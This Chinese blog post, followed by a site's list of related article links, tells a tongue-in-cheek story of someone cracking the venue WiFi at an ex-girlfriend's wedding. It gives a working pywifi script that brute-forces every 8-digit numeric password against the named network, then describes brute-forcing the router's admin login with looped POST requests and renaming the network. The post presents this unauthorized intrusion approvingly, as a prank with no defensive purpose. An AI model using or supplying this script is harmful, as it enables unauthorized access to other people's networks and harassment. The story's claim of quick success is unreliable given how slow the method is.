在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了


Posted in Python onMay 28, 2021

一、前言

事情是这样的

小编来到了婚礼现场

在一个背靠角落的桌子前坐下

耳朵里塞满了 幸福到听不清的嘈杂声

闪烁的灯光刺痛着 昨夜失眠到 有点发红的双眼

一股莫名的感觉直往上冲

默默,掏出了笔记本 python开发工具

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

现场的WiFi名称叫:"婚礼第一大厅"

二、python破解WiFi密码

1.安装pywifi和comtypes 两个模块

pip install pywifi

pip install comtypes

PS C:\Users\pacer> pip install pywifi
 
Collecting pywifi
  Downloading pywifi-1.1.12-py3-none-any.whl (15 kB)
Installing collected packages: pywifi
Successfully installed pywifi-1.1.12
 
PS C:\Users\pacer> pip install comtypes
 
Collecting comtypes
  Downloading comtypes-1.1.10.tar.gz (145 kB)
     |????????????????????????????????| 145 kB 12 kB/s
Using legacy 'setup.py install' for comtypes, since package 'wheel' is not installed.
Installing collected packages: comtypes
    Running setup.py install for comtypes ... done
Successfully installed comtypes-1.1.10
PS C:\Users\pacer>

2.生成8位密码

假设WiFi密码为8位纯数字

for i in range(100000000):
    #生成8位数密码
    pwd=str(i).zfill(8)
    print(pwd)

3.完整代码

使用pywifi模块,将wifi名称、密码配置进去,进行尝试。

import time
import pywifi
from pywifi import const
 
for i in range(100000000):
    #生成8位数密码
    pwd=str(i).zfill(8)
    print(pwd)
    profile = pywifi.Profile()
    profile.ssid ='婚礼第一大厅' #wifi名称 
    profile.auth = const.AUTH_ALG_OPEN #验证方式
    profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密方式
    profile.cipher = const.CIPHER_TYPE_CCMP    #加密类型
    profile.key=pwd
    wifi = pywifi.PyWiFi()
 
    iface = wifi.interfaces()[0]
    wedding = iface.add_network_profile(profile)
    #尝试连接
    iface.connect(wedding)
    time.sleep(3)
    if iface.status() == const.IFACE_CONNECTED:
        print('连接成功')
        break
    else:
        print('密码不对,连接失败,好气哦~~')

三、连接成功

一段时间后,连接成功。

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

拿到wifi密码之后

四、拿下路由器

1.路由器管理地址

路由器管理页面登录地址一般都是,192.168.0.1 或者 192.168.1.1访问路由器的链接地址。

http://192.168.0.1/

2.路由器登录提交分析

通过页面提交密码测试,发现密码是明文提交服务器验证的。

如下图

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

3.循环提交请求

通过循环提交路由器登录密码,通过工具post循环提交路由器的登录密码。

成功登录,拿下路由器

五、修改WIFI的名称

登录路由器界面,修改“婚礼第一大厅”WIFI名称

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

六、故事结尾

一切结束了,站起身,最后看了一眼

在交相辉映的灯光下

大大的合照上,手捧着鲜花 那张放肆笑着的脸

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

WiFi名改好了,告辞~

在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了

到此这篇关于在前女友婚礼上,用Python破解了现场的WIFI还把名称改成了!的文章就介绍到这了,更多相关Python破解WiFi密码内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
python 图片验证码代码分享
Jul 04 Python
Python中规范定义命名空间的一些建议
Jun 04 Python
Python数据结构与算法之图的最短路径(Dijkstra算法)完整实例
Dec 12 Python
python使用Tkinter实现在线音乐播放器
Jan 30 Python
基于wxPython的GUI实现输入对话框(2)
Feb 27 Python
Python程序包的构建和发布过程示例详解
Jun 09 Python
pyqt5 实现工具栏文字图片同时显示
Jun 13 Python
pytz格式化北京时间多出6分钟问题的解决方法
Jun 21 Python
python实现电子书翻页小程序
Jul 23 Python
python标准库sys和OS的函数使用方法与实例详解
Feb 12 Python
Python新手学习函数默认参数设置
Jun 03 Python
pandas中pd.groupby()的用法详解
Jun 16 Python
pytorch DataLoader的num_workers参数与设置大小详解
May 28 #Python
Flask搭建一个API服务器的步骤
May 28 #Python
Python趣味挑战之给幼儿园弟弟生成1000道算术题
May 28 #Python
解决Python中的modf()函数取小数部分不准确问题
May 28 #Python
利用Python+OpenCV三步去除水印
python实现自定义日志的具体方法
May 28 #Python
python 爬取京东指定商品评论并进行情感分析
You might like
广播爱好者需要了解的天线知识
2021/03/01 无线电
关于拼配咖啡,你要知道
2021/03/03 咖啡文化
PHP 创建文件(文件夹)以及目录操作代码
2010/03/04 PHP
php数据结构 算法(PHP描述) 简单选择排序 simple selection sort
2011/08/09 PHP
php中经典方法实现判断多维数组是否为空
2011/10/23 PHP
基于php-fpm 参数的深入理解
2013/06/03 PHP
简单的php文件上传(实例)
2013/10/27 PHP
删除html标签得到纯文本可处理嵌套的标签
2014/04/28 PHP
PHP独立Session数据库存储操作类分享
2014/06/11 PHP
yii2多图上传组件的使用教程
2018/05/10 PHP
JS获取及设置TextArea或input文本框选择文本位置的方法
2015/03/24 Javascript
跨域资源共享 CORS 详解
2016/04/26 Javascript
VUEJS实战之修复错误并且美化时间(2)
2016/06/13 Javascript
AngularJS入门教程之REST和定制服务详解
2016/08/19 Javascript
学习 NodeJS 第八天:Socket 通讯实例
2016/12/21 NodeJs
javaScript 逻辑运算符使用技巧整理
2017/05/03 Javascript
bootstrap 通过加减按钮实现输入框组功能
2017/11/15 Javascript
Vue 同步异步存值取值实现案例
2020/08/05 Javascript
React冒泡和阻止冒泡的应用详解
2020/08/18 Javascript
Vue SPA 首屏优化方案
2021/02/26 Vue.js
[54:09]RNG vs Liquid 2019国际邀请赛淘汰赛 败者组 BO3 第一场 8.23
2019/09/05 DOTA
简单掌握Python的Collections模块中counter结构的用法
2016/07/07 Python
python中的字典使用分享
2016/07/31 Python
django一对多模型以及如何在前端实现详解
2019/07/24 Python
使用Tkinter制作信息提示框
2020/02/18 Python
Python实现发票自动校核微信机器人的方法
2020/05/22 Python
Python字符串查找基本操作代码案例
2020/10/27 Python
iframe在移动端的缩放的示例代码
2018/10/12 HTML / CSS
美国最大的旗帜经销商:Carrot-Top
2018/02/26 全球购物
上课睡觉检讨书300字
2014/11/18 职场文书
公司市场部岗位职责
2015/04/15 职场文书
2019个人半年工作总结
2019/06/21 职场文书
MySQL学习总结-基础架构概述
2021/04/05 MySQL
css3实现背景图片颜色修改的多种方式
2021/04/13 HTML / CSS
spring项目中切面及AOP的使用方法
2021/06/26 Java/Android
阿里云k8s服务升级时502错误 springboot项目应用
2022/04/09 Servers